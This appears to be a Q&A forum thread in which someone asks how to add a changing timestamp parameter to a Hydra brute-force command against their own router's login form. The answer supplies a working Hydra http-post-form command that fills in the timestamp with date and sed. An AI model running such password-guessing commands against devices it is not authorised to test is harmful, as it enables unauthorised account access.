I am attempting to run a brute-force attack on my router just as a proof of concept and have hit a problem in that the POST request requires a parameter of the current timestamp. Here is my current attempt

hydra -l admin -P passwords.txt -V http-post-form "/goform/formLogin:login_n=^USER^&login_pass=^PASS64^&curTime=TIMESTAMP:S=Logout"

I want to insert the current timestamp for the parameter curTime, how would I do this?

  • Hydra is a pretty simple tool; I doubt it is capable of that. I suggest seeing if you can extend it's functionality to do that, or write a simple script to do what you want. – multithr3at3d Jul 11 '20 at 21:52

It depends on the desired timestamp format.
If your format is supposed to look like 2020-07-12 07:52:01 for example, then you could use (assuming that you run your command from some kind of Linux/Unix):

hydra -l admin -P passwords.txt -V http-post-form "/goform/formLogin:login_n=^USER^&login_pass=^PASS64^&curTime=$(date '+%Y-%m-%d+%H:%M:%S' | sed s/:/%3A/g):S=Logout"

Adjust the date format string to your needs.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.